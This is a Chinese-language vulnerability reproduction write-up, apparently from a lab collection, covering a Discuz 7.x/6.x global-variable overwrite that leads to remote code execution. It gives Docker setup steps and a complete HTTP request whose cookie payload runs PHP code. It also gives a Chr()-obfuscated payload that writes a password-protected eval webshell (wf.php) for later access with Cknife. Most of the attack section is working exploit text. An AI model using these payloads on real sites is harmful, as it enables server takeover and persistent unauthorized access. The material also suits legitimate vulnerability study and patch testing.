Discuz 7.x/6.x 全域性變數防禦繞過導致程式碼執行
阿新 • • 發佈:2022-05-18
由於php5.3.x版本里php.ini的設定裡request_order
預設值為GP,導致$_REQUEST
中不再包含$_COOKIE
,我們通過在Cookie中傳入$GLOBALS
來覆蓋全域性變數,造成程式碼執行漏洞。
具體原理請參考:
漏洞環境
執行如下命令啟動Discuz 7.2:
docker-compose up -d
啟動後,訪問http://your-ip:8080/install/
來安裝discuz,資料庫地址填寫db
,資料庫名為discuz
,資料庫賬號密碼均為root
。
漏洞復現
安裝成功後,直接找一個已存在的帖子,向其傳送資料包,並在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); Connection: close
可見,phpinfo已成功執行:
寫入一句話拿shell
payload:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(119).Chr(102).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(108).Chr(97).Chr(108).Chr(97).Chr(108).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
路徑:wf.php 密碼:lalala
上Cknife,拿下